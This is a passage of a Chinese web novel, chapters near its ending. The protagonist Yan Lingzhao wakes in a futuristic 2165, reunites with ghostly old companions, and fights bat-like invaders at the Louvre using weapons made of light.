宴泠昭的心跳骤然加速。他强忍着恐惧,继续绕行,直到看清全貌——
那怪物正在吞噬一个人、被叼在口中的人只剩下半截身子悬在外面。
怪物似突然察觉到了什么,猛地转向宴泠昭的方向,同时嘴巴用力咬下,那人的下半身坠落在地,发出沉闷的声响。
宴泠昭的瞳孔剧烈收缩。一股没来由的悲怆涌上心头。
他忽然明白了——这是失败后的世界。
地球毁灭,他被吞噬。
“我(们)的另一个结局。”
一个声音从身侧传来。宴泠昭下意识偏头看去,只见是那个他最近做梦时梦中出现的身影。
“是你”宴泠昭怔怔说道。
对方穿着白色的长袍,毫无感情的注视着面前被吃掉的另一个自己。
“我将继续沉睡,你继续代我行走世间。”他的嘴唇开合着,声音却越来越远,“我是你,你是我”
宴泠昭想追问,却只看到对方逐渐模糊的身影和填满视野的白光。
“呼——”
猛地睁开眼,映入眼帘的是缀满星辰的夜空。身下传来柔软的触感,呼出的热气在寒冷的空气中凝结成白雾。
宴泠昭发了好一会儿呆才坐起来,环顾四周,发现自己是躺在公园的雪地上。
周围孩童们欢笑着打雪仗,情侣们依偎着在雪地上写字根本没人注意到他。
宴泠昭低头看向自己的手掌,恍惚间似乎还能看到那张化为灰烬的通告。
“梦吗?”他茫然的对自己说。
不,不是梦。
他想起来了。
他是——
“现在是晚间8点55分,各位观众可以看到,H市金阳区出现空间波动,确认有入侵者现身。”一道严肃的声音从上方传来,打断宴泠昭的思绪。
宴泠昭下意识仰头,随后睁大眼睛。
只见一个巨大的光影屏幕浮现在上空。
看背景,像是央视的新闻栏目,另一半是转播的直播视频:
镜头中,一群通体漆黑的类人形生物正用膜翼支撑着身躯,以诡异的姿态在街道上横行。它们形似变异后的巨型蝙蝠,锋利的爪刃轻易撕裂路边的金属护栏,每一次振翅都掀起阵阵狂风,将街道两旁的商铺橱窗震得粉碎。
“好消息,特别行动组的李队长正在事发地点附近。”
画面突然剧烈晃动,只见一道矫健的身影从二十多层高的酒店天台纵身跃下。那人下坠时衣袂翻飞,在即将触地的瞬间身形一顿,稳稳落在柏油路面上,连一丝尘埃都未惊起。
“啧,难得批下来的休假”男人慢条斯理地解开袖扣,将价格不菲的西装外套随手抛在路边消防栓上,“刚办好入住手续,连浴缸里的水都没放满,你们这群不长眼的东西就又来碍事。”他活动了下脖颈,眼神陡然转冷,“既然来了,就别走了。”
这什么玩意?
宴泠昭不自觉坐直了身子。
画面中,那群漆黑生物突然如潮水般分开,一个比其它个体矮上半截的身影缓步走出,并且与它的同族不同的是,它的翼膜边缘泛着暗紫色的纹路。
它张开嘴巴,发出的竟是字正腔圆的普通话:
“我不欺负低等种族,让你们的最高统领出来。”
男人闻言冷笑一声:“想见诡异之主?先过了我这关再说!”
主角:“?”
等等,哪来的诡异之主?难道是又冒出来了一个大鬼?
【作者有话说】
[撒花]
100 第 100 章
◎百年后(正文完)◎
宴泠昭一脸茫然地站在金碧辉煌的小区门前, 鎏金大门在他眼中是那样刺眼。
身着制服的保安用审视的目光打量着他,胸前的工作牌随着动作微微晃动, “您有里面住户的邀请吗?”保安的语气礼貌而疏离,“没有的话,外来人员不能随意进出。”
宴泠昭下意识摸了摸口袋,迟疑的再次问道:“这里真的是崇文路135号?”
“是的,先生。”保安耐心重复,手指在平板电脑上滑动, “需要帮您联系哪位业主吗?”
宴泠昭沉默片刻,摇了摇头转身离开。他的影子在月光下拖得很长,最终落在路边的公共长椅上。
说起来,这一路, 各种智能机器人穿梭其间——圆盘状的清洁机器人沿着人行道缓缓移动。十字路口,半人高的交警机器人正用机械臂指挥交通。一个试图闯红灯的行人被它拦住, 电子音严肃警告:“您已涉嫌违反交通法规”
仰头, 薄如蝉翼的透明面板静静地漂浮在三米高空, 随着他的视线移动,蓝色的导航光带从中延伸出来,在地面上投射出“中央商务区→500m”的发光箭头。
街道两侧的商铺橱窗里,传统的人形模特已经被投影取代。一个服装店的展示窗内, 与宴泠昭等比例的全息影像会随着他的步伐同步转身, 身上不断变换着当季新款时装。当他驻足时, 投影会开口说话:“检测到您对这件衣服注视超过十秒,需要查看材质细节吗?”
路上的行人也没有一个拿手机, 倒是手腕上均佩戴着造型各异的手环。
以及
街边的长椅看似普通, 但当他坐下时, 扶手处会自动升起一个小型控制面板, 显示“是否需要调节座椅温度?”。他好奇的触碰了一下是,立即感受到后背传来恰到好处的温热,驱散了凛冬的寒意。
还有那些低空缓慢飞行的无人机群。它们形似透明的水母,底部伸出柔软的触须状吸盘,精准地捕捉空气中的微尘。每当检测到垃圾,就会有一只无人机脱离编队,用生物降解膜将垃圾包裹后存入腹部的回收舱。
不过,尽管这些科技产物先进到让他怀疑自己是不是穿越了,但城市的基本格局没有太大的变化,譬如转角的那家老字号书店还在原处,只是招牌换成了会显示今日推荐的全息板;地铁站的入口仍然在熟悉的位置,只是检票闸机变成了瞳孔识别系统这种熟悉与陌生的交织,让宴泠昭产生了一种诡异的错位感——就像是在玩一个高清重制版的现实游戏。
用力掐了下自己的大腿,疼痛感是如此真实。
发了一会呆,宴泠昭拿出手机,按照通讯录里的名字一个个打过去:朱德宏、张教授冰冷的提示音一次次宣告“您拨打的号码是空号”。
谁说只有独在异乡为异客了,独在家乡也能是异客啊!
“得先找个落脚的地方”宴泠昭喃喃自语,目光扫过街对面闪着霓虹灯的酒店招牌。
***
酒店大堂的装潢同样充满未来感,光滑的曲面墙壁上流动着数据流般的光带。前台的人脸识别系统在宴泠昭靠近时自动亮起,这让宴泠昭不由得心中一紧,深怕下一秒被播报自己是黑户。
“您好,请问几个人,几间房?”
“一个人,一间普通房。”
“好的。”
前台服务员刚说完,人脸识别系统就发出“叮”的一声,随后传出“支付成功”的提示音。宴泠昭悬着的心稍稍放下。
同一时刻。
国家某部门监控屏幕上,代表警报的红色图案疯狂闪烁起来
浴室。
宴泠昭对着光滑的墙面陷入沉思。半晌,他伸手在墙上四处摸索起来,许久,他的手指终于触到某个隐藏的感应区,墙面无声滑开,内置式花洒缓缓伸出,下一秒,喷出温度适宜的热水。
躲闪不急被喷了一身水的宴泠昭面无表情地抬手擦掉眼睛周围的水。
二十分钟后。
洗完澡出来,头发还滴着水,急促的敲门声骤然响起,宴泠昭将毛巾挂在脖子上,过去开门。
拉开门的瞬间,三名身着制服的警务人员出现在眼前。为首的那名警察亮出证件,金属徽章在灯光下反射着冷光。
“你好,请你跟我们走一趟。”
警车上,无论宴泠昭如何询问,得到的只有“到了就知道”的公式化回答。无奈,转头看向窗外,透过车窗,他看见街道两侧的建筑在夜色中闪烁着五颜六色的霓虹灯光,加上充满科技感的机器人,有点赛博朋克那味儿了。
警局。
询问室外,两名警员压低声音交谈:
“这人到底什么来头?”
“不知道,上面没说”
“难道是犯了什么大事?”
“谁晓得哦。”
半小时后,高跟鞋敲击地面的声音由远及近。门开,一位身着修身制服的女性大步走入。她利落地拉开宴泠昭对面的椅子坐下,嘴角勾起,露出一个亲切的笑容:“宴哥哥。”她的声音里带着久别重逢的喜悦,“你终于回来了。”
宴泠昭:“?”
谁?
宴泠昭仔细端详着面前的女人,确认自己从未见过这张面孔。他正欲开口询问对方是否认错了人,女人先一步出声:“一百年了,这一百年你究竟去了哪里?”
女人见宴泠昭依旧沉默不语,神情陌生而疏离,明白了什么,轻叹一声,解释道:“我是王玲玲,你还记得我吗?”
王玲玲?
宴泠昭微微蹙眉。记忆中那个稚嫩的身影与眼前成熟的女人无论如何都无法重合。就在他困惑之际,脑海中突然浮现醒来后所见的一幕幕充满未来科技感的画面。
等等——
他开口问道:“现在是哪一年?”
女人深深的看着他,答道:“2165年。准确来说,你已经消失了104年。”
这一切,还要从他消失的2060年12月31日那天说起
宴泠昭从王玲玲口中得到了他消失后的那一百年间发生的所有事情。
回到现在。
王玲玲:“何老经营着一家棋馆,田燕婉成了全球顶尖酒店的首席主厨,王大爷早已回乡,如今正含饴弄孙哦,准确来说,是玄玄玄孙。”她顿了顿,“李小虎加入了特殊作战部门,如今已是正队级指挥官,带领自己的队伍对抗入侵者。我也一样。”
“入侵者”宴泠昭低声重复。
王玲玲眼神微沉,”它们觊觎地球的资源,当然,还有更深层的原因想来你应该比我更清楚。”
宴泠昭沉默地点了下头。
王玲玲笑了笑,眼神柔和下来,继续道:“李奶奶现在是一家福利院的院长。至于李亮,他成了全球游戏联盟的副主席。”
宴泠昭安静听着。
大家都在做自己最擅长、或最喜欢的事。挺好。
“不过”王玲玲话音一转,悄然观察着宴泠昭的神情,“你从前认识的那些人类,都已经不在了。”她轻声道。
宴泠昭眼中闪过一丝怅然,但很快归于平静。生老病死,本就是世间常态。
倒是他突然想起一事:“我之前在外面看到天空投影的作战直播,听到有人提起诡异之主”
王玲玲闻言,抽了抽嘴角:“这个啊”她忍俊不禁,“叫的是你。”
宴泠昭:“?”
见青年难得露出怔愣的表情,王玲玲忍不住笑出声:“这是李小虎的主意。我们是诡异嘛,对面叫嚣着要见我们的首领,那自然就是诡异之主了。”她眨了眨眼,“而我们又都追随于你,所以”
宴泠昭木着脸。
王玲玲够了勾唇,伸手在智能手环上轻轻一点,一道淡蓝色的光屏立刻从表盘上方展开。她将光屏转向宴泠昭,嘴角带着几分促狭的笑意:“说起来,这个称呼还是全球公认的,都写进历史教科书了。”
光屏上正播放着一堂历史课的全息录像。
教室里,戴着眼镜的女教师站在全息投影前,手指轻点空气,一个个三维立体的历史事件模型便随之展开。
“记住这几个关键时间节点。”女教师的声音清晰有力,“诡异元年是1980年,人类进入新纪元是2061年,这一年,全球范围内开始出现异能觉醒者”她的手指在空中划出一道弧线,“还有诡异之主的名字,这是送分题,要是考试还有人答错——”
随着她的动作,一个巨大的全息文字框在教室中央展开,宴泠昭三个字以烫金效果缓缓浮现。
宴泠昭的耳根瞬间发烫,脚趾在鞋底不自觉地蜷缩起来。这种被钉在历史课本上的感觉,比直面S级诡异都要窒息。
“说起来。”王玲玲适时地关闭光屏,打破了这令人尴尬的沉默,“你家现在扩建成了别墅区。至于你住的那栋单元楼位置,我们一直给你保留着。”她看了看手腕上跳动着日程提醒的手环,“正好我现在有空,带你去认认,顺便把屋主身份信息录入了。”
她起身,制服下摆划出一道利落的弧线,同时智能手环已经调出了导航界面,一条发光的路径从警局门口一直延伸到另一个方向的别墅区。
***
王玲玲带着宴泠昭参观完焕然一新的住所后,抬手在智能终端上快速滑动,正准备录入房主信息时,宴泠昭突然按住了她的手腕。
“不必了。”他的目光越过落地窗,望向远处变幻的云层,“我不会在一个地方停留太久。接下来,我准备四处走走。”
王玲玲的手指悬停在光屏上方,全息投影的蓝光在她脸上投下忽明忽暗的阴影。她怔了片刻,智能终端的待机提示音在安静的房间里显得格外清晰。
“可总得有个地方”她的声音轻得几乎听不见,“一个能让你回来的地方。”手指无意识地摩挲着终端边缘,“与你相比,我们的生命太过短暂。但至少”
窗外的阳光金光灿灿,映照在她微微颤动的睫毛上。她抬起头,露出一个释怀的笑容:“有人说,真正的死亡是被所有人遗忘。这房子就当是我们记得你的证明。”
宴泠昭与王玲玲对视了几秒,说道:“你有他们的联系方式吧,找一个大家都有空的时间,一起吃顿饭吧。”
【作者有话说】
[撒花]大概还有几章后续就完结啦
【终章】
101 第 101 章
◎法国◎
夜幕低垂, 酒店的顶层旋转餐厅灯火通明。
宴泠昭进来时,八道熟悉的身影已经围坐在圆桌旁。他的目光在掠过其中一人后顿住, 对方赫然与他刚醒来时在天空投影新闻中看到的被唤作李队长的男人如出一辙。
“李小虎?”宴泠昭不确定的喊道。
被点名的男人不好意思地挠了挠后脑勺,这个带着几分稚气的动作透出几分当年的影子。
“是我。”
宴泠昭语气复杂,“你变化很大。”
李小虎:“嘿嘿,长大了,懂事了,就想着为社会做点贡献”
瞧瞧这话, 充满人性。
宴泠昭略感欣慰。
——孩子小时候熊是熊了点,但长大了能改就是好的。
接着,他缓缓环视众人。除了李小虎和王玲玲因长大了,变了模样, 其余六鬼依旧保持着百年前的模样。恍惚间,时光的长河仿佛在此处打了个旋儿, 又回到了从前。
宴席散时, 众鬼不舍的将他团团围住。
宴泠昭无奈道:“又不是生离死别。现在通讯那么方便, 想见面随时能见,并非从此天涯各一方。”
众鬼一听也是。
离开酒店后,宴泠昭态度强硬的拒绝了众鬼送他回家的提议,转身去找了墨菲斯。
圣宗传媒总部。
之前墨菲斯豪气的大手一挥租下了整栋大厦, 但就几十个员工, 一层楼就装下了, 甚至还有空余。然而现在不一样了,二十多层楼座无虚席, 且墨菲斯早已将业务从影视制作拓展至新能源汽车、智能家具乃至食品领域成为年纳税额跻身全球前十的商业帝国。
值得一提的是, 在宴泠昭失踪后, 圣宗传媒公司曾受到国家特别调查——不仅因其出品的每部作品都能引发现象级热潮, 更因其中蕴含的特殊宗教元素。
不过在某次与墨菲斯的秘密会谈后,调查戛然而止,公司还获得了多项政策扶持。
晚上8点13分。
墨菲斯站在全景落地窗前,指尖轻点着悬浮在空中的全息商业版图。自从神明沉睡,他便将全部热情都倾注在了这份新事业上——反正都是传播神明的荣光,说来说去干的还是同一件事。
“要让神明的名号出现在世界每个角落”他低声呢喃着。
突然,他感应到什么,猛地转身,然后激动的叫道:“吾主!您醒了?!”
其实并不然。
虽然某种意义上来说意思是对的,但如今的宴泠昭并不完整,他的一半在沉睡,另一半则行走于世间。
已经想起来的宴泠昭把事实告诉了墨菲斯。
听完宴泠昭的解释后,墨菲斯立刻表示要随行护卫,但惨遭婉拒,瞬间像被霜打的茄子般蔫了下去。近两米高的男人缩着肩膀低着头委屈巴巴的样子,看得人不免心生怜意。
宴泠昭轻叹一声,犹豫了下,抬手揉了揉他的发顶:“又不是不能再见了,你想见我,随时可以联系我。另外”他的目光扫过办公室陈列架上那些印着自己神明版形象的手办,嘴角微微抽搐,“你不必宣传我的名。”
“这怎么行!”墨菲斯激动的说道,接下来用长篇大论讲述了为什么不行的原因。
听到一半,宴泠昭实在听不下去了,借口自己有事先走了。
谁知刚踏出大厦,一只乌鸦便轻盈地落在他的肩头,红宝石般的眼珠无辜地眨动着。
“我的分.身,不是人形。且不需要照顾也不会掉毛,就当带宠物了,求你了QAQ”乌鸦嘴里传出墨菲斯的声音。
宴泠昭:“”
夜风拂过,乌鸦悄悄将脑袋埋进他的衣领。宴泠昭望着远处闪烁的霓虹,终是默许了墨菲斯的请求。
***
塞纳河。
一家咖啡馆里。宴泠昭正用银匙搅动着杯中的拿铁。四月的阳光透过梧桐叶间隙,在他面前的咖啡桌上投下斑驳的光影。肩头的乌鸦突然竖起羽毛,红宝石般的眼珠紧盯窗外。
“先生,您的可颂(法语)。”侍者放下餐盘时,视线忍不住往乌鸦身上飘。在他们国家,如今带宠物进餐厅早已不是稀奇事,但如此通人性的乌鸦实属罕见,再者,养乌鸦的人本身也很少,两者一组合,更是稀奇中的稀奇,不怪侍者如此好奇。
宴泠昭微微颔首。
与此同时。三公里外的卢浮宫上空,空气突然不自然地扭曲起来。
宴泠昭似有感应,放下银匙,杯中的咖啡泛起细微的涟漪——不是风吹的,而是地面传来的轻微震动。
下一秒,宴泠昭消失在咖啡馆里。
另一边,圣日耳曼大道。
天空中裂开一道紫黑色的缝隙,像被无形之手撕开的伤口。接着五只形似巨型蝙蝠的生物蠕动着挤了进来。
宴泠昭右手向上平举,一团柔和的白光在掌心凝聚。
卢浮宫前的广场已经乱作一团,游客们惊慌四散,智能机器人反复播放着避难提示。
第一只入侵者俯冲而下,利爪轻易撕裂了一辆悬浮观光车的顶棚。
宴泠昭站在广场的方尖碑下,掌心的光团自动拉伸成一张长弓的形状。没有箭矢,他只是做了个拉弦的动作,白光便自动凝聚成箭。松手的瞬间,光箭划破空气发出清越的嗡鸣,精准贯穿那只入侵者的头颅。
“快看那边!”一个戴贝雷帽的法国少女最先发现了他,手机镜头立刻转向这个东方面孔的年轻人。
第二只和第三只入侵者同时扑来。宴泠昭掌心的白光这次化作两柄细剑,随着他手腕轻抖,光剑如离弦之箭激射而出,将两只怪物钉在卢浮宫的玻璃金字塔上。被刺中的入侵者发出刺耳的嘶叫,身体如蜡般融化蒸发。
剩余两只入侵者似乎意识到威胁,它们盘旋在高空,周围的空气扭曲波动,十几颗紫黑色的能量球在它们周围成形。
宴泠昭这次将白光塑造成一把伞的形状。他轻轻旋转伞柄,光伞便飞旋着升空,在距离地面三十米处骤然扩大,形成直径百米的透明屏障。能量球撞击在屏障上,激起一圈圈涟漪般的波纹,却无法穿透。
“我的上帝”一位老绅士手中的拐杖啪嗒掉在地上。
掌心的白光再次变化,这次化作一条长鞭。宴泠昭手腕一振,光鞭如灵蛇般窜上高空,缠绕住一只入侵者的膜翼。随着他向下拉扯的动作,那只怪物被狠狠掼在地面上,铺路石被砸出蛛网状的裂痕。
最后一只入侵者转身想逃回裂缝,宴泠昭终于迈出第一步——他的身影倏然出现在百米高空,正好挡在怪物与裂缝之间。掌心的白光此刻凝聚成一柄长剑,挥下。
没有华丽的剑光,也没有震耳的轰鸣。那只入侵者只是突然静止,然后从头部开始,身体一寸寸化为飞灰。裂缝也在同一时刻剧烈收缩,最终消失得无影无踪。
宴泠昭缓缓落地,掌心的白光如流水般收回体内。
广场上一片寂静,数百双眼睛盯着这个穿着普通黑色风衣的年轻人。不知是谁先鼓起掌来,紧接着掌声如潮水般席卷整个广场。
“太精彩了!”
“是新型异能吗?第一次见这种类型的异能,好酷!”
宴泠昭对周围的反应置若罔闻,只是低头查看风衣袖口——刚才的战斗中不小心被溅上了一滴入侵者的□□,现在正腐蚀出一个小洞。他指尖泛起微光,在破损处轻轻一抹,衣料便恢复如新。
“先生!请等一下!”一个记者模样的人挤过人群,“能采访一下您吗?”
宴泠昭没有回答,抬头看了眼天空。乌鸦优雅的落下回到他的肩头,然后,在众人惊讶的注视中,一人一鸟的身影逐渐透明,最后消失
塞纳河畔的梧桐叶沙沙作响,仿佛刚才的骚乱从未发生。
宴泠昭的身影重新出现在咖啡馆里,他拉开椅子坐下,姿态从容得像是刚刚只是去河边散了会儿步。桌上的拿铁还残留着些许余温,杯沿的奶沫微微塌陷,但香气依旧。
他端起咖啡杯,浅浅抿了一口,眉头舒展。
“先生,您您刚才”侍者站在一旁,手里攥着点单的平板,眼睛瞪得溜圆。他倒是不知道宴泠昭刚才做了什么,但他看见了宴泠昭凭空消失,又凭空出现。
“你是异能力着吗?!”侍者激动的问道。
宴泠昭不语,只是冷淡的扫了他一眼。
侍者立刻噤声,咽了咽口水,抬手在嘴边做了个拉拉链的动作。
周围几桌的客人也纷纷投来或惊诧或兴奋的目光,有人偷偷举起手环,想要拍摄,却发现镜头里的青年身形模糊,仿佛被一层无形的雾气笼罩。
宴泠昭默了默,指尖在杯沿轻轻一敲,一道极细微的白光闪过,所有对准他的镜头瞬间失灵。
肩头的乌鸦歪了歪脑袋,红宝石般的眼睛里闪过一丝戏谑。
“别多事。”宴泠昭平静道。
乌鸦咕哝了一声,像是在抱怨,却也没再做什么。
远处,警笛声渐近,几辆悬浮警车降落在卢浮宫广场,全息投影的新闻播报在半空中闪烁,主持人正激动地描述着刚才发生的事情,“东方异能力者!从未见过的能力!”
宴泠昭充耳不闻,安静地喝完最后一口咖啡,接着放下杯子,指尖在桌面上轻轻一推,椅子无声地后退。
随后,他站起身。
“走吧。”他对肩上的乌鸦无声说道,“下一站,曼彻斯特。”
乌鸦扑棱了一下翅膀,化作黑烟消散。
宴泠昭在众目睽睽之下走出咖啡馆,很快融入街头的人潮之中,犹如水滴汇入大海,再也找不见。
【作者有话说】
[撒花]
英法百年冤家(bushi)[合十]去了法法,自然不能忘了大英
然后德意→论意呆利坑了德那么多次,德国人最喜欢的还是意呆利人这件事